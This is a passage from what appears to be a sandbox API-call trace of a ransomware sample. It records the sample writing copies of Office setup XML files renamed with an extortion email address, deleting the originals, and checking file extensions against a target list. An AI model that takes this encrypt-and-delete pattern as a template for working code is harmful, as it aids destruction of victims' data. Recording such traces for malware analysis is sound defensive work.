[0039.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 0x20 [0039.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0039.930] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0039.930] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.930] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.930] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0039.968] GetLastError () returned 0x0 [0039.968] ReadFile (in: hFile=0x1c0, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x567, lpOverlapped=0x0) returned 1 [0039.969] WriteFile (in: hFile=0x1c8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x570, lpOverlapped=0x0) returned 1 [0039.970] ReadFile (in: hFile=0x1c0, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0039.970] WriteFile (in: hFile=0x1c8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0039.970] SetEndOfFile (hFile=0x1c8) returned 1 [0039.970] CloseHandle (hObject=0x1c8) returned 1 [0039.971] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.971] SetEndOfFile (hFile=0x1c0) returned 1 [0039.972] CloseHandle (hObject=0x1c0) returned 1 [0039.972] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0039.972] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 1 [0039.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0039.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0039.972] lstrlenW (lpString=".doc") returned 4 [0039.972] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.972] lstrlenW (lpString=".docx") returned 5 [0039.972] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0039.972] lstrlenW (lpString=".pdf") returned 4 [0039.972] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.973] lstrlenW (lpString=".xls") returned 4 [0039.973] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.973] lstrlenW (lpString=".xlsx") returned 5 [0039.973] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0039.973] lstrlenW (lpString=".ppt") returned 4 [0039.973] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0039.973] lstrlenW (lpString=".zip") returned 4 [0039.973] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.973] lstrlenW (lpString=".rar") returned 4 [0039.973] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.973] lstrlenW (lpString=".bz2") returned 4 [0039.973] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.973] lstrlenW (lpString=".7z") returned 3 [0039.973] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0039.973] lstrlenW (lpString=".dbf") returned 4 [0039.973] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0039.973] lstrlenW (lpString=".1cd") returned 4 [0039.973] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0039.973] lstrlenW (lpString=".jpg") returned 4 [0039.973] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0039.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0039.973] lstrlenW (lpString=".doc") returned 4 [0039.973] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.973] lstrlenW (lpString=".docx") returned 5 [0039.973] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0039.973] lstrlenW (lpString=".pdf") returned 4 [0039.973] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.974] lstrlenW (lpString=".xls") returned 4 [0039.974] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.974] lstrlenW (lpString=".xlsx") returned 5 [0039.974] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0039.974] lstrlenW (lpString=".ppt") returned 4 [0039.974] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0039.974] lstrlenW (lpString=".zip") returned 4 [0039.974] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.974] lstrlenW (lpString=".rar") returned 4 [0039.974] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.974] lstrlenW (lpString=".bz2") returned 4 [0039.974] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.974] lstrlenW (lpString=".7z") returned 3 [0039.974] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0039.974] lstrlenW (lpString=".dbf") returned 4 [0039.974] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0039.974] lstrlenW (lpString=".1cd") returned 4 [0039.974] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0039.974] lstrlenW (lpString=".jpg") returned 4 [0039.974] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.974] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0039.974] lstrlenW (lpString="SETUP.XML") returned 9 [0039.974] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0039.975] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=2362) returned 1 [0039.975] CloseHandle (hObject=0x1c0) returned 1 [0039.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 0x20 [0039.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0039.975] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0039.975] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.975] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.975] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0039.975] GetLastError () returned 0x0 [0039.975] ReadFile (in: hFile=0x1c0, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x93a, lpOverlapped=0x0) returned 1 [0039.983] WriteFile (in: hFile=0x1c8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x940, lpOverlapped=0x0) returned 1 [0039.984] ReadFile (in: hFile=0x1c0, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0039.984] WriteFile (in: hFile=0x1c8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0039.984] SetEndOfFile (hFile=0x1c8) returned 1 [0039.984] CloseHandle (hObject=0x1c8) returned 1 [0039.985] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.985] SetEndOfFile (hFile=0x1c0) returned 1 [0039.986] CloseHandle (hObject=0x1c0) returned 1 [0039.986] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0039.986] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 1 [0039.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0039.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0039.986] lstrlenW (lpString=".doc") returned 4 [0039.986] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.986] lstrlenW (lpString=".docx") returned 5 [0039.986] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0039.986] lstrlenW (lpString=".pdf") returned 4 [0039.986] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.986] lstrlenW (lpString=".xls") returned 4 [0039.986] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.986] lstrlenW (lpString=".xlsx") returned 5 [0039.986] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0039.987] lstrlenW (lpString=".ppt") returned 4 [0039.987] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0039.987] lstrlenW (lpString=".zip") returned 4 [0039.987] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.987] lstrlenW (lpString=".rar") returned 4 [0039.987] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.987] lstrlenW (lpString=".bz2") returned 4 [0039.987] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.987] lstrlenW (lpString=".7z") returned 3 [0039.987] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0039.987] lstrlenW (lpString=".dbf") returned 4 [0039.987] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0039.987] lstrlenW (lpString=".1cd") returned 4 [0039.987] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0039.987] lstrlenW (lpString=".jpg") returned 4 [0039.987] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0039.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0039.987] lstrlenW (lpString=".doc") returned 4 [0039.987] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.987] lstrlenW (lpString=".docx") returned 5 [0039.987] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0039.987] lstrlenW (lpString=".pdf") returned 4 [0039.987] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.987] lstrlenW (lpString=".xls") returned 4 [0039.987] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.987] lstrlenW (lpString=".xlsx") returned 5 [0039.987] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0039.987] lstrlenW (lpString=".ppt") returned 4 [0039.987] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0039.987] lstrlenW (lpString=".zip") returned 4 [0039.988] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.988] lstrlenW (lpString=".rar") returned 4 [0039.988] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.988] lstrlenW (lpString=".bz2") returned 4 [0039.988] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.988] lstrlenW (lpString=".7z") returned 3 [0039.988] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0039.988] lstrlenW (lpString=".dbf") returned 4 [0039.988] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0039.988] lstrlenW (lpString=".1cd") returned 4 [0039.988] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0039.988] lstrlenW (lpString=".jpg") returned 4 [0039.988] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.988] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0039.988] lstrlenW (lpString="Office32WW.XML") returned 14 [0039.988] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0039.988] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=4274) returned 1 [0039.989] CloseHandle (hObject=0x1c0) returned 1 [0039.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 0x20 [0039.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0039.989] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0039.989] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.989] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.989] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0039.989] GetLastError () returned 0x0 [0039.989] ReadFile (in: hFile=0x1c0, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x10b2, lpOverlapped=0x0) returned 1 [0039.991] WriteFile (in: hFile=0x1c8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0039.992] ReadFile (in: hFile=0x1c0, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0039.992] WriteFile (in: hFile=0x1c8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0039.992] SetEndOfFile (hFile=0x1c8) returned 1 [0039.992] CloseHandle (hObject=0x1c8) returned 1 [0039.993] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.993] SetEndOfFile (hFile=0x1c0) returned 1 [0039.993] CloseHandle (hObject=0x1c0) returned 1 [0039.994] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0039.994] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 1 [0039.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0039.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0039.994] lstrlenW (lpString=".doc") returned 4 [0039.994] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.994] lstrlenW (lpString=".docx") returned 5 [0039.994] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0039.994] lstrlenW (lpString=".pdf") returned 4 [0039.994] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.994] lstrlenW (lpString=".xls") returned 4 [0039.994] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.994] lstrlenW (lpString=".xlsx") returned 5 [0039.994] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0039.994] lstrlenW (lpString=".ppt") returned 4 [0039.994] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0039.994] lstrlenW (lpString=".zip") returned 4 [0039.994] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.994] lstrlenW (lpString=".rar") returned 4 [0039.994] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.994] lstrlenW (lpString=".bz2") returned 4 [0039.994] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.994] lstrlenW (lpString=".7z") returned 3 [0039.995] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0039.995] lstrlenW (lpString=".dbf") returned 4 [0039.995] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0039.995] lstrlenW (lpString=".1cd") returned 4 [0039.995] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0039.995] lstrlenW (lpString=".jpg") returned 4 [0039.995] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0039.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0039.995] lstrlenW (lpString=".doc") returned 4 [0039.995] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.995] lstrlenW (lpString=".docx") returned 5 [0039.995] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0039.995] lstrlenW (lpString=".pdf") returned 4 [0039.995] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.995] lstrlenW (lpString=".xls") returned 4 [0039.995] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.995] lstrlenW (lpString=".xlsx") returned 5 [0039.995] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0039.995] lstrlenW (lpString=".ppt") returned 4 [0039.995] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0039.995] lstrlenW (lpString=".zip") returned 4 [0039.995] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.995] lstrlenW (lpString=".rar") returned 4 [0039.995] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.995] lstrlenW (lpString=".bz2") returned 4 [0039.995] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.995] lstrlenW (lpString=".7z") returned 3 [0039.995] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0039.995] lstrlenW (lpString=".dbf") returned 4 [0039.995] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.996] lstrlenW (lpString="C:\\Program Files\\Common 